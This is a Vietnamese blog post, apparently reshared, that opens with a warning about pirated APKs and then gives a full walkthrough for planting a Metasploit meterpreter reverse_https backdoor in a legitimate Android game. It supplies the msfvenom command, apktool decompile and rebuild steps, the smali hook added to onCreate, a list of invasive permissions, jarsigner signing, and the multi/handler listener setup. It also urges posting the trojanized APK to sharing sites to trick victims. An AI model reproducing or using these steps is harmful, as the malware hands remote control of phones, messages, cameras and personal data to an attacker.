Bài viết hay, tham khảo và chia sẻ. Nguồn: Google
Đừng bao giờ cài đặt các ứng dụng được chia sẻ miễn phí, tự do và dễ dàng download trên mạng xã hội. Hãy xem thật kĩ nguồn gốc và quyền mà ứng dụng đòi hỏi. Để điện thoại ra xa tầm tay trẻ em và YES Man! Việc sử dụng các ứng dụng chia sẻ tại các chợ đen trôi nổi trên mạng liệu có an toàn cho điện thoại của bạn. Và một thực tế là, nhiều ứng dụng trên các mạng chia sẻ tệp tin APK đều có những kẻ xấu luôn tìm cách nhét những mã độc vào đó, vì vụ lợi cá nhân như quảng cáo, nguy hiểm hơn là đánh cắp thông tin người dùng, thông tin thẻ tín dụng. Điện thoại là nơi lưu nhiều tệp tin quan trọng, nhạy cảm nhất, đôi khi còn tích hợp thanh toán điện tử, email...
Trong vai một kẻ xấu, đây là các bước mà mình làm để đưa một ứng dụng bình thường trở thành độc hại.
- Tạo một ứng dụng độc hại bằng Metasploit.
- Dịch ngược ứng dụng.
- Chép payload-lọc độc vào ứng dụng ban đầu. Bạn tưởng tượng Metasploit là con rắn mà bạn nuôi, khi nó bắt đầu sinh ra độc thì bạn bẻ răng xin nó một tí để đi đầu độc kẻ thù.
- Gài lọc độc (hook) vào phần khởi động ứng dụng.
- Thêm một vài quyền hạn đặc biệt vào ứng dụng ban đầu.
- Đóng gói ứng dụng
- Kí (xác minh ứng dụng – một công đoạn để đưa ứng dụng lên chợ đen) và đánh lừa nạn nhân
Tạo một ứng dụng độc hại bằng Metasploit.
Ứng dụng độc hại mà metasploit sinh ra không qua mắt được các chương trình virus, nhưng nó là một ví dụ, công cụ điển hình mà các hacker trong phim hay dùng. Tại sao là hacker trong phim, à thì phim ảnh là nguồn cảm hứng chính để viết bài này mà ^_^.msfvenom là con rắn, nó sẽ cho chúng ta lọc độc payload.
msfvenom -p android/meterpreter/[Payload_Type] LHOST=[IP_Address] LPORT=[Incoming_Port] -o meterpreter.apk
Có nhiều loại Payload_Type, như reverse_tcp, reverse_http, reverse_https, ở đây mình dùng https cho nó hịn. Sau khi chạy lệnh trên xong, nó sẽ tạo ra cho ta một ứng dụng apk độc, ứng dụng này có có rất nhiều quyền kiểm soát thiết bị của bạn, mình sẽ nói sau.
Lúc này bạn có thể gửi trực tiếp cho nạn nhân, nhưng lại bảo là thuốc độc đây uống đi à, ngu gì nó uống, thông minh ra một chút thì có thể khuấy vào nước ngọt, đồ ăn, bánh kẹo, hoa qủa thứ gì mà nạn nhân hay sử dụng nhất.
Dịch ngược ứng dụng.
Đây mới là lúc chúng pha trộn hóa chất, tạo ra một quả táo đỏ tươi, ngọt lịm để đánh lừa nàng Bạch Thuyết phàm ăn.
Muốn pha trộn được, trước hết chúng ta phải tiểu phẫu, hay nói cách đơn giản là dịch ngược ứng dụng nguồn ban đầu và ứng dụng độc hại ta vừa tạo ra. Bác sĩ phẫu thuật thì dùng dao mổ, chúng ta thì đừng có mà động đến nó nhé, sử dụng apktool là đủ rồi.
Mình có 2 file 2048Pro2.6.apk và meterpreter.apk là file gốc và file độc hại, mình để chúng trong cùng một folder victim, lệnh dưới đây sẽ dịch ngược mã nguồn của chúng ra dạng smali lần lượt trong các folder original và payload.
apktool d -f -o payload /victim/meterpreter.apk
apktool d -f -o original /victim/2048_Pro_2.6.apk
Chép payload-nọc độc vào ứng dụng ban đầu.
Sau khi bổ đôi quả táo, và bỏ thuốc độc ra khỏi túi thì chúng ta phải đưa chúng vào với nhau. Hay nói cách khác là chép phần độc hại nhất vào trong mã nguồn của ứng dụng ban đầu.
Vì lập trình Android thì đều là hướng đối tượng cả rồi, nên ta chỉ việc chép package và các class độc hại vào trong ứng dụng ban đầu thôi. Class độc hại được đóng gói trong package có tên com.metasploit.stage, hãy chép tất cả những file smali mà tên của nó có chứa từ “Payload”
dist="victim/original/smali/com/metasploit/stage"
mkdir -p $dist
from="victim/payload/smali/com/metasploit/stage"
cp -vR $from/Payload* $dist
(Ở đây là ta sao chép thư mục .../payload/smali/com/metasploit vào .../smali/com/metasploit)
Gài lọc độc (hook) vào phần khởi động ứng dụng.
Sau khi chép mã độc vào ứng dụng, thì lúc này mã độc vẫn chưa được kích hoạt. Để kích hoạt được chúng, chúng ta phải làm thao tác đó là hook đoạn mã kích hoạt vào đoạn mã khởi động chương trình.
Mỗi khi một chương trình trên Android khởi chạy, chương trình sẽ tìm main Activity, và khởi chạy method onCreate() của Activity đó.
Chúng ta xem qua file AndroidManifest.xml của game 2048 này. Ta thấy, chương trình khi khởi động sẽ chạy đến activity nằm ở vị trí com.digiplex.game2048.MainActivity, bởi vì activity này có chứa một action main android.intent.action.MAIN. Đường dẫn này sẽ tương ứng ở
victim/original/smali/com/digiplex/game2048/MainActivity.smali khi chúng ta dịch ngược.
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
Mở file smali đó lên, chúng ta sẽ thấy vị trí của onCreate() method.
.method protected onCreate(Landroid/os/Bundle;)V
.locals 7
.param p1, "savedInstanceState" # Landroid/os/Bundle;
.prologue
const/16 v6, 0xa
const/4 v3, 0x1
const/4 v5, 0x3
const/4 v4, 0x0
.line 66
invoke-super{p0,p1},Landroid/support/v4/app/FragmentActivity;-> onCreate(Landroid/os/Bundle;)V
Chúng ta tìm đến đoạn mã sau:
;->onCreate(Landroid/os/Bundle;)V
Sau đó ta thêm ở dưới dòng đó đoạn
invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V
Đoạn mã này có nhiệm vụ gọi method static Payload.start() (method của cái Class mà ta vừa chép vào) ngay sau khi khởi tạo activity, hay nói cách khác là mã độc thực thi khi vừa mở ứng dụng lên. Bạn có thể mở chúng lên để xem. Nó sẽ nhìn như thế này trong một code Java hoàn chỉnh.
Thêm một vài quyền hạn đặc biệt vào ứng dụng ban đầu.
Để kiểm soát được nhiều thứ hơn trong điện thoại, ta phải xin cấp quyền. Một ứng dụng đơn giản mà xin nhiều quyền hạn thì dễ dàng sinh nghi, nhưng mà dân mình dại lắm, toàn Bạch Tuyết phàm ăn nên YES! OK! hết.
Thêm vào trong file AndroidManifest.xml của ứng dụng gốc. Cái nào trùng thì bỏ đi.
<uses-permission android:name="android.permission.INTERNET"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_COURSE_LOCATION"/>
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.RECEIVE_SMS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.CALL_PHONE"/>
<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
<uses-permission android:name="android.permission.RECORD_AUDIO"/>
<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.CAMERA"/>
<uses-permission android:name="android.permission.READ_SMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.SET_WALLPAPER"/>
<uses-permission android:name="android.permission.READ_CALL_LOG"/>
<uses-permission android:name="android.permission.WRITE_CALL_LOG"/>
<uses-feature android:name="android.hardware.camera"/>
<uses-feature android:name="android.hardware.camera.autofocus"/>
<uses-feature android:name="android.hardware.microphone"/>
Đóng gói ứng dụng
Xong, lúc này bạn có thể đóng gói ứng dụng lại, và đăng tải lên các trang chia sẻ file apk.
apktool b victim/original
Kí (xác minh ứng dụng – một công đoạn để đưa ứng dụng lên chợ đen) và đánh lừa nạn nhân
Bước này quan trọng không kém, kiểu “mày phải kí cho tao vào đây-ứng dụng này, là mày phát hành. bla bla. Thì tao mới cho phép mày caì vào máy điện thoại của người khác”. Ừ OK. Kí thì kí, mực tao đâu có thiếu.
Dùng chương trình jarsigner để kí, key.keystore là key mình tạo ra, pass key là 123456, tên alias là androidrelease. Bạn phải tạo ra key này nhé.
jarsigner -verbose -keystore my-release-key.keystore -storepass 123456 -keypass 123456 -digestalg SHA1 -sigalg MD5withRSA victim/original/dist/2048_Pro_2.6.apk androidrelease
Xong, lúc này bạn hãy chia sẻ APK độc hại.
Đừng quên mở msfconsole để làm server điều khiển nhé. LHOST, LPORT là địa chỉ IP, Port của server điều khiển mà bạn set cho mã độc.
$ msfconsole
msf > use multi/handler
msf exploit(handler) > set LHOST 0.0.0.0
msf exploit(handler) > set LPORT 4444
msf exploit(handler) > set PAYLOAD android/meterpreter/reverse_https
msf exploit(handler) > exploit -j
0 comments:
Đăng nhận xét